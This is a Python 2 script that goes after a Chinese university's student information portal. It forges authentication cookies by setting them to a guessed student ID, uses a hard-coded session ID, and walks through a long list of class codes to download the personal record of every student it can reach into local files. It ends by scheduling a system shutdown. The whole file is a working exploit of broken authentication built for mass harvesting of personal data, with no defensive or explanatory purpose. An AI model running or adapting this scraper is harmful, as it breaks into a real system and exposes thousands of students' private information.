# -*- coding: utf-8 -*-
# 已发送  JSESSIONID  bhXLSxMSRh05QkyTnvpnDBlLTvLhRsnCJJy5TXv1xVtSN1kBpfWb!-726611923          
import urllib2, cookielib
import threading
def download(id):
   url=r'http://szyx.hnust.edu.cn/xg/xg/studentInfo.do?method=getStudentInfo'
   cookie_support= urllib2.HTTPCookieProcessor(cookielib.CookieJar())
   opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
   opener.addheaders.append( ("Cookie" , 
       "JSESSIONID=bhXLSxMSRh05QkyTnvpnDBlLTvLhRsnCJJy5TXv1xVtSN1kBpfWb;SECURE_AUTH_ROOT_COOKIE="
       +id+";SECURITY_AUTHENTICATION_COOKIE="+id) )
   content=opener.open(url).read()
   print 'download',id,len(content)
   open('data/'+id+'.txt','w').write(content)

class_inf=["1201010101","1201010201","1201010301","1201010401","1201010501","1201020101","1201020201","1201020301","1201030101","1201030201","1201030301","1201040101","1201040201","1202010101","1202010201","1202010301","1202010401","1202010501","1202010601","1202010701","1202010801","1202010901","1202011001","1202040101","1202040201","1202050101","1202050201","1202050301","1202060101","1202060201","1202070101","1202070201","1203010101","1203010201","1203010301","1203010401","1203020101","1203020201","1203030101","1203030201","1203040101","1203040201","1203050101","1203050201","1203060101","1203060201","1204010201","1204010301","1204010401","1204020101","1204020201","1204020301","1204030101","1204030201","1204030301","1204040101","1204040201","1204040301","1205010101","1205010201","1205010301","1205010401","1205020101","1205020201","1205020301","1205030101","1205030201","1206010101","1206010201","1206010301","1206020101","1206020201","1206030101","1206030201","1206040101","1206040201","1206050101","1206050201","1206060101","1206060201","1206060301","1206070101","1206070201","1206080101","1206080201","1207010101","1207010201","1207010301","1207020101","1207020201","1207020301","1207020401","1208010101","1208010201","1208020101","1208020201","1208030101","1208040101","1208040201","1209010101","1209010201","1209010301","1209020101","1209020201","1209030101","1209030201","1209040101","1209040201","1210010101","1210010201","1210020101","1210020201","1210030101","1210030201","1210040101","1210050101","1210050201","1210060101","1210060201","1211010101","1211010201","1211010301","1211010401","1211020101","1211020201","1211030101","1211030201","1211040101","1211040201","1212010101","1212010201","1212010301","1212010401","1212010501","1212010601","1212020101","1212020201","1212030101","1212030201","1213010101","1213010201","1214010101","1214010201","1214020101","1214020201","1214040101","1214040201","1214040301","1214050101","1214050201","1214050301","1215010101","1215010201","1215020101","1215020201","1215020301","1215030101","1215030201","1215030301","1215030401","1215030501","1215040101","1215040201","1215050101","1215050201","1215060101","1215060201","1215070101","1215070201","1215080101","1215080201","1216010101","1216010201","1216010301","1216020101","1216020201","1216020301","1216020401","1216020501","1216020601","1216030101","1216030201","1216030301","1216040101","1216050101","1216050201","1217010101","1217010201","1217010301","1217010401","1217020101","1217020201","1218010101","1218010201","1218010301","1218020101","1218020201","1218030101","1218030201","1218040101","1218040201","1219010101","1219010201","1219010301","1219020101","1252010101","1252010201","1252010301","1252010401","1252010501","1252010601","1252010701","1252010801","1252010901","1253010101","1253010201","1253010301","1253010401","1253010501","1253010601","1253010701","1253010801","1254010101","1254010201","1254010301","1254010401","1254030101","1254040101","1255010101","1255010201","1260010101","1260010201","1261010101","1261010201","1261010301","1261040101","1262010101","1262010201","1262010301","1262010401","1262010501","1262020101","1265020101","1265020201","1265030101","1265030201","1265030301","1265030401","1265030501","1265030601","1265030701","1265030801","1265030901","1265031001","1265031101","1265040101","1265040201","1265040301","1265040401","1265040501","1265040601","1265040701","1265060101","1265060201","1266010101","1266020101","1266020201","1266020301","1266020401","1266020501","1267010101","1267010201","1267010301","1267010401","1267010501","1267020101","1267020201","1268010101","1268010201","1269010101","1101010101","1101010201","1101010301","1101010401","1101010501","1101020101","1101020201","1101020301","1101020401","1101030101","1101030201","1101030301","1101040101","1101040201","1102010101","1102010201","1102010301","1102010401","1102010501","1102010601","1102010701","1102010801","1102010901","1102011001","1102040101","1102040201","1102050101","1102050201","1102050301","1102060101","1102060201","1102070101","1102070201","1103010101","1103010201","1103010301","1103010401","1103010501","1103010601","1103020101","1103020201","1103030101","1103030201","1103030301","1103040101","1103040201","1103040301","1103050101","1103050201","1104010101","1104010201","1104010301","1104020101","1104020201","1104020301","1104030101","1104030201","1104040101","1104040201","1105010101","1105010201","1105010301","1105010401","1105020101","1105020201","1105020301","1105030101","1105030201","1105030301","1106010101","1106010201","1106010301","1106020101","1106020201","1106030101","1106030201","1106040101","1106040201","1106040301","1106050101","1106050201","1106060101","1106060201","1106060301","1106070101","1106070201","1107010101","1107010201","1107010301","1107020101","1107020201","1107020301","1107020401","1108010101","1108010201","1108020101","1108020201","1108020301","1108030101","1108030201","1108040101","1108040201","1109010101","1109010201","1109010301","1109020101","1109020201","1109030101","1109030201","1109030301","1109040101","1109040201","1110010101","1110010201","1110020101","1110020201","1110030101","1110030201","1110040101","1110050101","1110050201","1110060201","1111010101","1111010201","1111010301","1111010401","1111020101","1111030101","1111040101","1111040201","1112010201","1112010301","1112010401","1112010501","1112010601","1112020101","1112020201","1112030101","1112030201","1113010101","1113010201","1114010201","1114020101","1114040101","1114040201","1114040301","1114050101","1114050201","1114050301","1115010101","1115010201","1115020101","1115020201","1115020301","1115030101","1115030301","1115030401","1115030501","1115040101","1115040201","1115040301","1115050101","1115050201","1115060101","1115060201","1115070101","1115070201","1115080101","1115080201","1116010101","1116010201","1116010301","1116010401","1116020101","1116020201","1116020301","1116020401","1116020501","1116030201","1116030301","1116040101","1117010101","1117010201","1117010301","1117010401","1117020101","1117020201","1118010101","1118010201","1118020101","1118020201","1118020301","1118030101","1118030201","1118040101","1118040201","1119010101","1119010301","1152010101","1152010201","1152010301","1152010401","1152010501","1152010601","1152010701","1152010901","1152011001","1152011101","1152011201","1153010101","1153010201","1153010301","1153010401","1153010501","1153010601","1153010801","1154010101","1154010201","1154010301","1154010401","1154030101","1154040101","1155010101","1160010101","1161010101","1161010201","1161010301","1161040101","1162010201","1162010301","1162010401","1162020101","1165020101","1165020201","1165030101","1165030201","1165030301","1165030401","1165030501","1165030601","1165030701","1165030801","1165030901","1165031001","1165031101","1165031201","1165040101","1165040201","1165040301","1165040401","1165040501","1165060101","1165060201","1166010101","1166020101","1166020201","1166020301","1166020401","1166020501","1167010101","1167010201","1167010301","1167010401","1167020101","1168010101","1169010101","1001010101","1001010201","1001010301","1001010401","1001020101","1001020201","1001020301","1001030101","1001030201","1001040101","1001040201","1001040301","1002010101","1002010201","1002010301","1002010401","1002010501","1002010601","1002010701","1002010801","1002010901","1002011001","1002040101","1002040201","1002050101","1002050201","1002060101","1002060201","1003010101","1003010201","1003010301","1003010401","1003010501","1003010601","1003020101","1003020201","1003030101","1003030201","1003030301","1003040101","1003040201","1003040301","1003050101","1003050201","1004010101","1004010201","1004010301","1004020101","1004020201","1004020301","1004030101","1004030201","1004040101","1004040201","1004040301","1005010101","1005010201","1005010301","1005010401","1005020101","1005020201","1005020301","1005030101","1005030201","1005030301","1006010101","1006010201","1006010301","1006020101","1006020201","1006030101","1006030201","1006040101","1006040201","1006040301","1006050101","1006050201","1006050301","1006060101","1006060201","1006070101","1006070201","1007010101","1007010201","1007010301","1007020101","1007020201","1007020301","1007020401","1008010101","1008010201","1008010301","1008020101","1008020201","1008020301","1008030101","1008030201","1008040101","1008040201","1009010101","1009010201","1009010301","1009020101","1009020201","1009030101","1009030201","1009030301","1009040101","1009040201","1010010101","1010010201","1010020101","1010020201","1010030101","1010030201","1010040101","1010040201","1010050101","1010050201","1010060101","1010060201","1011010101","1011010201","1011010301","1011010401","1011020101","1011020201","1011030101","1011030201","1011040101","1011040201","1012010101","1012010201","1012010301","1012010401","1012010501","1012020101","1012020201","1012030101","1012030201","1013010101","1013010201","1013010301","1013020101","1013030101","1014010101","1014010201","1014020101","1014020201","1014040101","1014040201","1014040301","1014050101","1014050201","1015010101","1015010201","1015020101","1015020201","1015020301","1015030101","1015030201","1015030301","1015030401","1015030501","1015040101","1015040201","1015050101","1015050201","1015050301","1015060101","1015060201","1015070101","1015070201","1015080101","1015080201","1016010101","1016010201","1016010301","1016020101","1016020201","1016020301","1016020401","1016020501","1016030101","1016030201","1016040101","1017010101","1017010201","1017010301","1017010501","1017010601","1017020101","1017020201","1017020301","1018010101","1018010201","1018020101","1018020201","1018020301","1018030101","1018030201","1018040101","1018040201","1052010101","1052010201","1052010301","1052010401","1052010501","1052010601","1052010701","1052010801","1052010901","1052011001","1052011101","1053010401","1053010501","1053010601","1053010701","1053010801","1054010101","1054010201","1054010301","1054010401","1054030101","1054040101","1055010101","1055020101","1060010101","1060010201","1061010101","1061010201","1061010301","1061040101","1062010101","1062010201","1062010301","1062010401","1062010501","1062020101","1063010101","1065020101","1065020201","1065030101","1065030201","1065030301","1065030401","1065030601","1065030701","1065030801","1065030901","1065031001","1065031101","1065031201","1065040101","1065040201","1065040301","1065040401","1065040501","1065060101","1065060201","1066010101","1066020101","1066020201","1066020301","1066020401","1067010101","1067010201","1067010301","1067010401","1067020101","1067020201","1068010101","1068010201","1068020101"]
import os
if __name__ == '__main__':
    for i in class_inf:
        for j in range(101,142):
            download( i[:-2]+str(j)[1:] )
    os.system('shutdown -s -t 3600')



